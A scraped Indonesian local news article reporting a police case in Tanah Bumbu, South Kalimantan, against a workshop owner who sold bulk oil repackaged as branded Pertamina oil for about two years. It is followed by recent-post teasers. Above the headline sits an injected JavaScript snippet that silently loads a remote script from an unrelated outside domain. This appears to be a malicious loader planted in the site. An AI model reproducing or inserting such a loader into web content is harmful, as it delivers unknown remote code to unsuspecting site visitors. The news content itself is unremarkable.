(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bisnis Pemalsuan Oli di Tanbu Dibongkar Polisi, Pelaku Praktek Oplos Oli Sudah 2 Tahun


KANALKALIMANTAN.COM, BATULICIN – Kepolisian Resort (Polres) Tanah Bumbu (Tanbu) mengungkap kasus pemalsuan produk oli bermerek yang beredar di wilayah Kabupaten Tanah Bumbu, Kalimantan Selatan.

Membaca peluang pasar oli di wilayah Tanbu dengan deretan perusahaan yang memiliki alat berat potensi aksi tipu-tipu kepada konsumen produk oli.

Dalam kasus ini, polisi telah mengamankan seorang tersangka beserta sejumlah barang bukti yang diungkap saat press release di ula Mapolres Tanbu, Kamis (8/12/2022) pagi.

“Tersangka berinisial AS (44) yang menjalankan aksinya di sebuah bengkel di Jalan Raya Serongga Desa Gunung Besar Kecamatan Simpang Empat,” ujar Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kabag Ops Kompol Andri Hutagalung didampingi Kasi Humas AKP Saryanto beserta jajaran.

 

Baca juga  : 177 UMKM Terima Dana Hibah dari Pemkab Lamandau, Ini Rupiah yang Diterima

Ia menagatakan, pengungkapan kasus pemalsuan oli bermerk ini, berawal dari kecurigaan polisi dari banyaknya peredaran oli yang dijual tersangka dengan selisih harga cukup jauh dari harga pasar umumnya.

Polisi bahkan telah melakukan uji sampel laboraturium pada oli, yang dicurigai dengan hasil menunjukkan bahwa oli yang dijual tersangka tidak sesuai dengan standar Pertamina.

Akhirnya diketahui bahwa oli yang dijual tersangka adalah oli curah. Modus tersangka dimulai dengan membeli oli curah, kemudian mengoplosnya sesuai dengan pesanan pembeli hingga akhirnya memberikan merek palsu pada luar drum oli dan segel guna meyakinkan pembeli.

Polres Tanah Bumbu berhasil mengamankan barang bukti utama yakni 13 drum oli oplos dengan isi ribuan liter.

Baca juga  : UPTD PPA Tanbu Baru Dibentuk, Ini Tugas dan Fungsi Layanannya

“Tersangka telah menjalankan praktek pemalsuan oli mesin dan oli hidrolik merek Pertamina ini selama hampir 2 tahun, dengan keuntungan jutaan rupiah setiap bulannya,” sambungnya.

Pada press release tersebut, pelaku mengaku menjalankan bisnis pemalsuan oli setelah bengkel yang dijalaninya sepi akibat pandemi Covid-19.

“Perbuatan tersangka ini dijerat dengan Undang-Undang Perlindungan Konsumen dengan tuntutan pidana 5 tahun penjara,” kata Kabag Ops. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

7 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

10 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

10 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

14 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

16 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

19 jam ago

This website uses cookies.